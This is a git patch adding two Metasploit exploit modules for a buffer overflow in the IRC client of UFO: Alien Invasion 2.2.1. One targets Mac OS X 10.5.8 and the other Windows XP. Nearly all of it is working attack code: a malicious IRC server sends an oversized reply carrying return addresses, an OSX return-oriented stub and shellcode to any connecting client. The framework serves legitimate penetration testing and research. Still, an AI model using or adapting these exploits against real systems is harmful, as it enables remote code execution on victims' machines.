From c1c64e5bc06d42e1614b259bb43fb765f06d3795 Mon Sep 17 00:00:00 2001
From: Joshua Drake <github.jdrake@qoop.org>
Date: Thu, 1 Jul 2010 19:54:48 +0000
Subject: [PATCH] add exploits from dookie for ufo alian invasion on
 osx/windows

git-svn-id: file:///home/svn/framework3/trunk@9643 4d416f70-5f16-0410-b530-b9f4589650da
---
 modules/exploits/osx/misc/ufo_ai.rb     | 119 ++++++++++++++++++++++++
 modules/exploits/windows/misc/ufo_ai.rb |  78 ++++++++++++++++
 2 files changed, 197 insertions(+)
 create mode 100644 modules/exploits/osx/misc/ufo_ai.rb
 create mode 100644 modules/exploits/windows/misc/ufo_ai.rb

diff --git a/modules/exploits/osx/misc/ufo_ai.rb b/modules/exploits/osx/misc/ufo_ai.rb
new file mode 100644
index 0000000000..160cbf6a74
--- /dev/null
+++ b/modules/exploits/osx/misc/ufo_ai.rb
@@ -0,0 +1,119 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = AverageRanking
+
+	include Exploit::Remote::TcpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',
+			'Description'    => %q{
+					This module exploits a buffer overflow in the IRC client component
+				of UFO: Alien Invasion 2.2.1.
+			},
+			'Author'   =>
+				[
+					'Jason Geffner',  # Original Windows PoC Author
+					'dookie'          # OSX Exploit Author
+				],
+			'License'  => MSF_LICENSE,
+			'Version'  => '$Revision$',
+			'References' =>
+				[
+					[ 'OSVDB', '65689' ],
+					[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
+				],
+			'Payload' =>
+				{
+					'Space' => 400,
+					'BadChars' => "\x00\x0a\x0d",
+					'MaxNops' => 0,
+					'StackAdjustment' => -3500,
+				},
+			'Platform' => 'osx',
+			'Targets' =>
+				[
+					[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
+						{
+							'Arch' => ARCH_X86,
+							'Offset' => 524,
+							'Writable' => 0x8fe66448,  # dyld __IMPORT
+							# The rest of these addresses are in dyld __TEXT
+							'setjmp' => 0x8fe1cf38,
+							'strdup' => 0x8fe210dc,
+							'jmp_eax' => 0x8fe01041
+						}
+					]
+				],
+			'DefaultTarget' => 0))
+
+		register_options(
+			[
+				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
+			], self.class)
+	end
+
+
+	def make_exec_payload_from_heap_stub()
+		frag0 =
+			"\x90" + # nop
+			"\x58" + # pop eax
+			"\x61" + # popa
+			"\xc3"   # ret
+
+		frag1 =
+			"\x90" +             # nop
+			"\x58" +             # pop eax
+			"\x89\xe0" +         # mov eax, esp
+			"\x83\xc0\x0c" +     # add eax, byte +0xc
+			"\x89\x44\x24\x08" + # mov [esp+0x8], eax
+			"\xc3"               # ret
+
+		setjmp = target['setjmp']
+		writable = target['Writable']
+		strdup = target['strdup']
+		jmp_eax = target['jmp_eax']
+
+		exec_payload_from_heap_stub =
+			frag0 +
+			[setjmp].pack('V') +
+			[writable + 32, writable].pack("V2") +
+			frag1 +
+			"X" * 20 +
+			[setjmp].pack('V') +
+			[writable + 24, writable, strdup, jmp_eax].pack("V4") +
+			"X" * 4
+	end
+
+
+	def on_client_connect(client)
+
+		print_status("Got client connection...")
+
+		offset = target['Offset']
+
+		buffer = "001 :"
+		buffer << rand_text_alpha_upper(offset)
+		buffer << make_exec_payload_from_heap_stub()
+		buffer << make_nops(16)
+		buffer << payload.encoded
+		buffer << "\x0d\x0a"
+
+		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
+		client.put(buffer)
+
+	end
+
+end
diff --git a/modules/exploits/windows/misc/ufo_ai.rb b/modules/exploits/windows/misc/ufo_ai.rb
new file mode 100644
index 0000000000..055e278c63
--- /dev/null
+++ b/modules/exploits/windows/misc/ufo_ai.rb
@@ -0,0 +1,78 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = AverageRanking
+
+	include Exploit::Remote::TcpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',
+			'Description'    => %q{
+					This module exploits a buffer overflow in the IRC client component of
+				UFO: Alien Invasion 2.2.1.
+			},
+			'Author' 	 =>
+				[
+					'Jason Geffner',  # Original Windows PoC Author
+					'dookie'          # MSF Module Author
+				],
+			'License'  => MSF_LICENSE,
+			'Version'  => '$Revision$',
+			'References' =>
+				[
+					[ 'OSVDB', '65689'],
+					[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
+				],
+			'Payload' =>
+				{
+					'Space' => 400,
+					'BadChars' => "\x00\x0a\x0d",
+					'MaxNops' => 0,
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll
+				],
+			'DefaultTarget' => 0))
+
+		register_options(
+			[
+				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
+			], self.class)
+
+	end
+
+	def on_client_connect(client)
+
+		return if ((p = regenerate_payload(client)) == nil)
+
+		print_status("Got client connection...")
+
+		buffer = "001 :"
+		buffer << rand_text_alpha_upper(552)
+		buffer << [ target.ret ].pack('V')
+		buffer << make_nops(8)
+		buffer << payload.encoded
+		buffer << "\x0d\x0a"
+
+		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
+
+		client.put(buffer)
+
+	end
+
+end